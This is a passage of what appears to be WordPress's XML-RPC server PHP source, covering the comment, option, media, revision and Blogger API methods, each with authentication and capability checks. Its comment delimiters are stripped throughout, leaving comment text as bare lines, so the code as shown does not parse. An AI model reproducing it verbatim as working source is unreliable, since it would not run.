$password = $args[2];
$comment_id = (int) $args[3];
$content_struct = $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! get_comment( $comment_id ) ) {
return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
}
if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.editComment', $args, $this );
$comment = array(
'comment_ID' => $comment_id,
);
if ( isset( $content_struct['status'] ) ) {
$statuses = get_comment_statuses();
$statuses = array_keys( $statuses );
if ( ! in_array( $content_struct['status'], $statuses, true ) ) {
return new IXR_Error( 401, __( 'Invalid comment status.' ) );
}
$comment['comment_approved'] = $content_struct['status'];
}
Do some timestamp voodoo.
if ( ! empty( $content_struct['date_created_gmt'] ) ) {
We know this is supposed to be GMT, so we're going to slap that Z on there by force.
$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
$comment['comment_date'] = get_date_from_gmt( $dateCreated );
$comment['comment_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' );
}
if ( isset( $content_struct['content'] ) ) {
$comment['comment_content'] = $content_struct['content'];
}
if ( isset( $content_struct['author'] ) ) {
$comment['comment_author'] = $content_struct['author'];
}
if ( isset( $content_struct['author_url'] ) ) {
$comment['comment_author_url'] = $content_struct['author_url'];
}
if ( isset( $content_struct['author_email'] ) ) {
$comment['comment_author_email'] = $content_struct['author_email'];
}
$result = wp_update_comment( $comment, true );
if ( is_wp_error( $result ) ) {
return new IXR_Error( 500, $result->get_error_message() );
}
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the comment could not be updated.' ) );
}
*
* Fires after a comment has been successfully updated via XML-RPC.
*
* @since 3.4.0
*
* @param int $comment_id ID of the updated comment.
* @param array $args An array of arguments to update the comment.
do_action( 'xmlrpc_call_success_wp_editComment', $comment_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return true;
}
*
* Creates a new comment.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string|int $3 Post ID or URL.
* @type array $4 Content structure.
* }
* @return int|IXR_Error See wp_new_comment().
public function wp_newComment( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post = $args[3];
$content_struct = $args[4];
*
* Filters whether to allow anonymous comments over XML-RPC.
*
* @since 2.7.0
*
* @param bool $allow Whether to allow anonymous commenting via XML-RPC.
* Default false.
$allow_anon = apply_filters( 'xmlrpc_allow_anonymous_comments', false );
$user = $this->login( $username, $password );
if ( ! $user ) {
$logged_in = false;
if ( $allow_anon && get_option( 'comment_registration' ) ) {
return new IXR_Error( 403, __( 'Sorry, you must be logged in to comment.' ) );
} elseif ( ! $allow_anon ) {
return $this->error;
}
} else {
$logged_in = true;
}
if ( is_numeric( $post ) ) {
$post_id = absint( $post );
} else {
$post_id = url_to_postid( $post );
}
if ( ! $post_id ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! get_post( $post_id ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! comments_open( $post_id ) ) {
return new IXR_Error( 403, __( 'Sorry, comments are closed for this item.' ) );
}
if (
'publish' === get_post_status( $post_id ) &&
! current_user_can( 'edit_post', $post_id ) &&
post_password_required( $post_id )
) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
}
if (
'private' === get_post_status( $post_id ) &&
! current_user_can( 'read_post', $post_id )
) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to comment on this post.' ) );
}
$comment = array(
'comment_post_ID' => $post_id,
'comment_content' => trim( $content_struct['content'] ),
);
if ( $logged_in ) {
$display_name = $user->display_name;
$user_email = $user->user_email;
$user_url = $user->user_url;
$comment['comment_author'] = $this->escape( $display_name );
$comment['comment_author_email'] = $this->escape( $user_email );
$comment['comment_author_url'] = $this->escape( $user_url );
$comment['user_id'] = $user->ID;
} else {
$comment['comment_author'] = '';
if ( isset( $content_struct['author'] ) ) {
$comment['comment_author'] = $content_struct['author'];
}
$comment['comment_author_email'] = '';
if ( isset( $content_struct['author_email'] ) ) {
$comment['comment_author_email'] = $content_struct['author_email'];
}
$comment['comment_author_url'] = '';
if ( isset( $content_struct['author_url'] ) ) {
$comment['comment_author_url'] = $content_struct['author_url'];
}
$comment['user_id'] = 0;
if ( get_option( 'require_name_email' ) ) {
if ( strlen( $comment['comment_author_email'] ) < 6 || '' === $comment['comment_author'] ) {
return new IXR_Error( 403, __( 'Comment author name and email are required.' ) );
} elseif ( ! is_email( $comment['comment_author_email'] ) ) {
return new IXR_Error( 403, __( 'A valid email address is required.' ) );
}
}
}
$comment['comment_parent'] = isset( $content_struct['comment_parent'] ) ? absint( $content_struct['comment_parent'] ) : 0;
* This filter is documented in wp-includes/comment.php
$allow_empty = apply_filters( 'allow_empty_comment', false, $comment );
if ( ! $allow_empty && '' === $comment['comment_content'] ) {
return new IXR_Error( 403, __( 'Comment is required.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.newComment', $args, $this );
$comment_id = wp_new_comment( $comment, true );
if ( is_wp_error( $comment_id ) ) {
return new IXR_Error( 403, $comment_id->get_error_message() );
}
if ( ! $comment_id ) {
return new IXR_Error( 403, __( 'Something went wrong.' ) );
}
*
* Fires after a new comment has been successfully created via XML-RPC.
*
* @since 3.4.0
*
* @param int $comment_id ID of the new comment.
* @param array $args An array of new comment arguments.
do_action( 'xmlrpc_call_success_wp_newComment', $comment_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return $comment_id;
}
*
* Retrieves all of the comment status.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getCommentStatusList( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'publish_posts' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getCommentStatusList', $args, $this );
return get_comment_statuses();
}
*
* Retrieves comment counts.
*
* @since 2.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Post ID.
* }
* @return array|IXR_Error
public function wp_getCommentCount( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
$post = get_post( $post_id, ARRAY_A );
if ( empty( $post['ID'] ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details of this post.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getCommentCount', $args, $this );
$count = wp_count_comments( $post_id );
return array(
'approved' => $count->approved,
'awaiting_moderation' => $count->moderated,
'spam' => $count->spam,
'total_comments' => $count->total_comments,
);
}
*
* Retrieves post statuses.
*
* @since 2.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getPostStatusList( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPostStatusList', $args, $this );
return get_post_statuses();
}
*
* Retrieves page statuses.
*
* @since 2.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getPageStatusList( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_pages' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPageStatusList', $args, $this );
return get_page_statuses();
}
*
* Retrieves page templates.
*
* @since 2.6.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getPageTemplates( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_pages' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
}
$templates = get_page_templates();
$templates['Default'] = 'default';
return $templates;
}
*
* Retrieves blog options.
*
* @since 2.6.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Options.
* }
* @return array|IXR_Error
public function wp_getOptions( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$options = isset( $args[3] ) ? (array) $args[3] : array();
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
If no specific options where asked for, return all of them.
if ( count( $options ) === 0 ) {
$options = array_keys( $this->blog_options );
}
return $this->_getOptions( $options );
}
*
* Retrieves blog options value from list.
*
* @since 2.6.0
*
* @param array $options Options to retrieve.
* @return array
public function _getOptions( $options ) {
$data = array();
$can_manage = current_user_can( 'manage_options' );
foreach ( $options as $option ) {
if ( array_key_exists( $option, $this->blog_options ) ) {
$data[ $option ] = $this->blog_options[ $option ];
Is the value static or dynamic?
if ( isset( $data[ $option ]['option'] ) ) {
$data[ $option ]['value'] = get_option( $data[ $option ]['option'] );
unset( $data[ $option ]['option'] );
}
if ( ! $can_manage ) {
$data[ $option ]['readonly'] = true;
}
}
}
return $data;
}
*
* Updates blog options.
*
* @since 2.6.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Options.
* }
* @return array|IXR_Error
public function wp_setOptions( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$options = (array) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'manage_options' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to update options.' ) );
}
$option_names = array();
foreach ( $options as $o_name => $o_value ) {
$option_names[] = $o_name;
if ( ! array_key_exists( $o_name, $this->blog_options ) ) {
continue;
}
if ( true == $this->blog_options[ $o_name ]['readonly'] ) {
continue;
}
update_option( $this->blog_options[ $o_name ]['option'], wp_unslash( $o_value ) );
}
Now return the updated values.
return $this->_getOptions( $option_names );
}
*
* Retrieves a media item by ID.
*
* @since 3.1.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Attachment ID.
* }
* @return array|IXR_Error Associative array contains:
* - 'date_created_gmt'
* - 'parent'
* - 'link'
* - 'thumbnail'
* - 'title'
* - 'caption'
* - 'description'
* - 'metadata'
public function wp_getMediaItem( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$attachment_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'upload_files' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to upload files.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getMediaItem', $args, $this );
$attachment = get_post( $attachment_id );
if ( ! $attachment || 'attachment' !== $attachment->post_type ) {
return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
}
return $this->_prepare_media_item( $attachment );
}
*
* Retrieves a collection of media library items (or attachments).
*
* Besides the common blog_id (unused), username, and password arguments,
* it takes a filter array as the last argument.
*
* Accepted 'filter' keys are 'parent_id', 'mime_type', 'offset', and 'number'.
*
* The defaults are as follows:
* - 'number' - Default is 5. Total number of media items to retrieve.
* - 'offset' - Default is 0. See WP_Query::query() for more.
* - 'parent_id' - Default is ''. The post where the media item is attached.
* Empty string shows all media items. 0 shows unattached media items.
* - 'mime_type' - Default is ''. Filter by mime type (e.g., 'image/jpeg', 'application/pdf')
*
* @since 3.1.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Query arguments.
* }
* @return array|IXR_Error Array containing a collection of media items.
* See wp_xmlrpc_server::wp_getMediaItem() for a description
* of each item contents.
public function wp_getMediaLibrary( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$struct = isset( $args[3] ) ? $args[3] : array();
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'upload_files' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getMediaLibrary', $args, $this );
$parent_id = ( isset( $struct['parent_id'] ) ) ? absint( $struct['parent_id'] ) : '';
$mime_type = ( isset( $struct['mime_type'] ) ) ? $struct['mime_type'] : '';
$offset = ( isset( $struct['offset'] ) ) ? absint( $struct['offset'] ) : 0;
$number = ( isset( $struct['number'] ) ) ? absint( $struct['number'] ) : -1;
$attachments = get_posts(
array(
'post_type' => 'attachment',
'post_parent' => $parent_id,
'offset' => $offset,
'numberposts' => $number,
'post_mime_type' => $mime_type,
)
);
$attachments_struct = array();
foreach ( $attachments as $attachment ) {
$attachments_struct[] = $this->_prepare_media_item( $attachment );
}
return $attachments_struct;
}
*
* Retrieves a list of post formats used by the site.
*
* @since 3.1.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error List of post formats, otherwise IXR_Error object.
public function wp_getPostFormats( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to access details about this site.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPostFormats', $args, $this );
$formats = get_post_format_strings();
Find out if they want a list of currently supports formats.
if ( isset( $args[3] ) && is_array( $args[3] ) ) {
if ( $args[3]['show-supported'] ) {
if ( current_theme_supports( 'post-formats' ) ) {
$supported = get_theme_support( 'post-formats' );
$data = array();
$data['all'] = $formats;
$data['supported'] = $supported[0];
$formats = $data;
}
}
}
return $formats;
}
*
* Retrieves a post type.
*
* @since 3.4.0
*
* @see get_post_type_object()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Post type name.
* @type array $4 Optional. Fields to fetch.
* }
* @return array|IXR_Error Array contains:
* - 'labels'
* - 'description'
* - 'capability_type'
* - 'cap'
* - 'map_meta_cap'
* - 'hierarchical'
* - 'menu_position'
* - 'taxonomies'
* - 'supports'
public function wp_getPostType( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_type_name = $args[3];
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
*
* Filters the default post type query fields used by the given XML-RPC method.
*
* @since 3.4.0
*
* @param array $fields An array of post type fields to retrieve. By default,
* contains 'labels', 'cap', and 'taxonomies'.
* @param string $method The method name.
$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostType' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPostType', $args, $this );
if ( ! post_type_exists( $post_type_name ) ) {
return new IXR_Error( 403, __( 'Invalid post type.' ) );
}
$post_type = get_post_type_object( $post_type_name );
if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
}
return $this->_prepare_post_type( $post_type, $fields );
}
*
* Retrieves post types.
*
* @since 3.4.0
*
* @see get_post_types()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Query arguments.
* @type array $4 Optional. Fields to fetch.
* }
* @return array|IXR_Error
public function wp_getPostTypes( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$filter = isset( $args[3] ) ? $args[3] : array( 'public' => true );
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostTypes' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPostTypes', $args, $this );
$post_types = get_post_types( $filter, 'objects' );
$struct = array();
foreach ( $post_types as $post_type ) {
if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
continue;
}
$struct[ $post_type->name ] = $this->_prepare_post_type( $post_type, $fields );
}
return $struct;
}
*
* Retrieves revisions for a specific post.
*
* @since 3.5.0
*
* The optional $fields parameter specifies what fields will be included
* in the response array.
*
* @uses wp_get_post_revisions()
* @see wp_getPost() for more on $fields
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Post ID.
* @type array $4 Optional. Fields to fetch.
* }
* @return array|IXR_Error Array containing a collection of posts.
public function wp_getRevisions( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_id = (int) $args[3];
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
*
* Filters the default revision query fields used by the given XML-RPC method.
*
* @since 3.5.0
*
* @param array $field An array of revision fields to retrieve. By default,
* contains 'post_date' and 'post_date_gmt'.
* @param string $method The method name.
$fields = apply_filters( 'xmlrpc_default_revision_fields', array( 'post_date', 'post_date_gmt' ), 'wp.getRevisions' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getRevisions', $args, $this );
$post = get_post( $post_id );
if ( ! $post ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
}
Check if revisions are enabled.
if ( ! wp_revisions_enabled( $post ) ) {
return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
}
$revisions = wp_get_post_revisions( $post_id );
if ( ! $revisions ) {
return array();
}
$struct = array();
foreach ( $revisions as $revision ) {
if ( ! current_user_can( 'read_post', $revision->ID ) ) {
continue;
}
Skip autosaves.
if ( wp_is_post_autosave( $revision ) ) {
continue;
}
$struct[] = $this->_prepare_post( get_object_vars( $revision ), $fields );
}
return $struct;
}
*
* Restores a post revision.
*
* @since 3.5.0
*
* @uses wp_restore_post_revision()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Revision ID.
* }
* @return bool|IXR_Error false if there was an error restoring, true if success.
public function wp_restoreRevision( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$revision_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.restoreRevision', $args, $this );
$revision = wp_get_post_revision( $revision_id );
if ( ! $revision ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( wp_is_post_autosave( $revision ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
$post = get_post( $revision->post_parent );
if ( ! $post ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $revision->post_parent ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
Check if revisions are disabled.
if ( ! wp_revisions_enabled( $post ) ) {
return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
}
$post = wp_restore_post_revision( $revision_id );
return (bool) $post;
}
* Blogger API functions.
* Specs on http:plant.blogger.com/api and https:groups.yahoo.com/group/bloggerDev/
*
* Retrieves blogs that user owns.
*
* Will make more sense once we support multiple blogs.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function blogger_getUsersBlogs( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
if ( is_multisite() ) {
return $this->_multisite_getUsersBlogs( $args );
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.getUsersBlogs', $args, $this );
$is_admin = current_user_can( 'manage_options' );
$struct = array(
'isAdmin' => $is_admin,
'url' => get_option( 'home' ) . '/',
'blogid' => '1',
'blogName' => get_option( 'blogname' ),
'xmlrpc' => site_url( 'xmlrpc.php', 'rpc' ),
);
return array( $struct );
}
*
* Private function for retrieving a users blogs for multisite setups.
*
* @since 3.0.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
protected function _multisite_getUsersBlogs( $args ) {
$current_blog = get_site();
$domain = $current_blog->domain;
$path = $current_blog->path . 'xmlrpc.php';
$blogs = $this->wp_getUsersBlogs( $args );
if ( $blogs instanceof IXR_Error ) {
return $blogs;
}
if ( $_SERVER['HTTP_HOST'] == $domain && $_SERVER['REQUEST_URI'] == $path ) {
return $blogs;
} else {
foreach ( (array) $blogs as $blog ) {
if ( str_contains( $blog['url'], $_SERVER['HTTP_HOST'] ) ) {
return array( $blog );
}
}
return array();
}
}
*
* Retrieves user's data.
*
* Gives your client some info about you, so you don't have to.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function blogger_getUserInfo( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to access user data on this site.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.getUserInfo', $args, $this );
$struct = array(
'nickname' => $user->nickname,
'userid' => $user->ID,
'url' => $user->user_url,
'lastname' => $user->last_name,
'firstname' => $user->first_name,
);
return $struct;
}
*
* Retrieves a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type int $1 Post ID.
* @type string $2 Username.
* @type string $3 Password.
* }
* @return array|IXR_Error
public function blogger_getPost( $args ) {
$this->escape( $args );
$post_id = (int) $args[1];
$username = $args[2];
$password = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
$post_data = get_post( $post_id, ARRAY_A );
if ( ! $post_data ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.getPost', $args, $this );
$categories = implode( ',', wp_get_post_categories( $post_id ) );
$content = '
' . wp_unslash( $post_data['post_title'] ) . '';
$content .= '' . $categories . '';
$content .= wp_unslash( $post_data['post_content'] );
$struct = array(
'userid' => $post_data['post_author'],
'dateCreated' => $this->_convert_date( $post_data['post_date'] ),
'content' => $content,
'postid' => (string) $post_data['ID'],
);
return $struct;
}
*
* Retrieves the list of recent posts.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type string $0 App key (unused).
* @type int $1 Blog ID (unused).
* @type string $2 Username.
* @type string $3 Password.
* @type int $4 Optional. Number of posts.
* }
* @return array|IXR_Error
public function blogger_getRecentPosts( $args ) {
$this->escape( $args );
$args[0] = appkey - ignored.
$username = $args[2];
$password = $args[3];
if ( isset( $args[4] ) ) {
$query = array( 'numberposts' => absint( $args[4] ) );
} else {
$query = array();
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.getRecentPosts', $args, $this );
$posts_list = wp_get_recent_posts( $query );
if ( ! $posts_list ) {
$this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) );
return $this->error;
}
$recent_posts = array();
foreach ( $posts_list as $entry ) {
if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
continue;
}
$post_date = $this->_convert_date( $entry['post_date'] );
$categories = implode( ',', wp_get_post_categories( $entry['ID'] ) );
$content = '' . wp_unslash( $entry['post_title'] ) . '';
$content .= '' . $categories . '';
$content .= wp_unslash( $entry['post_content'] );
$recent_posts[] = array(
'userid' => $entry['post_author'],
'dateCreated' => $post_date,
'content' => $content,
'postid' => (string) $entry['ID'],
);
}
return $recent_posts;
}
*
* Deprecated.
*
* @since 1.5.0
* @deprecated 3.5.0
*
* @param array $args Unused.
* @return IXR_Error Error object.
public function blogger_getTemplate( $args ) {
return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) );
}
*
* Deprecated.
*
* @since 1.5.0
* @deprecated 3.5.0
*
* @param array $args Unused.
* @return IXR_Error Error object.
public function blogger_setTemplate( $args ) {
return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) );
}
*
* Creates a new post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type string $0 App key (unused).
* @type int $1 Blog ID (unused).
* @type string $2 Username.
* @type string $3 Password.
* @type string $4 Content.
* @type int $5 Publish flag. 0 for draft, 1 for publish.
* }
* @return int|IXR_Error
public function blogger_newPost( $args ) {
$this->escape( $args );
$username = $args[2];
$password = $args[3];
$content = $args[4];
$publish = $args[5];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.newPost', $args, $this );
$cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) || ! current_user_can( $cap ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
}
$post_status = ( $publish ) ? 'publish' : 'draft';
$post_author = $user->ID;
$post_title = xmlrpc_getposttitle( $content );
$post_category = xmlrpc_getpostcategory( $content );
$post_content = xmlrpc_removepostdata( $content );
$post_date = current_time( 'mysql' );
$post_date_gmt = current_time( 'mysql', 1 );
$post_data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status' );
$post_id = wp_insert_post( $post_data );
if ( is_wp_error( $post_id ) ) {
return new IXR_Error( 500, $post_id->get_error_message() );
}
if ( ! $post_id ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) );
}
$this->attach_uploads( $post_id, $post_content );
*
* Fires after a new post has been successfully created via the XML-RPC Blogger API.
*
* @since 3.4.0
*
* @param int $post_id ID of the new post.
* @param array $args An array of new post arguments.
do_action( 'xmlrpc_call_success_blogger_newPost', $post_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return $post_id;
}
*
* Edits a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
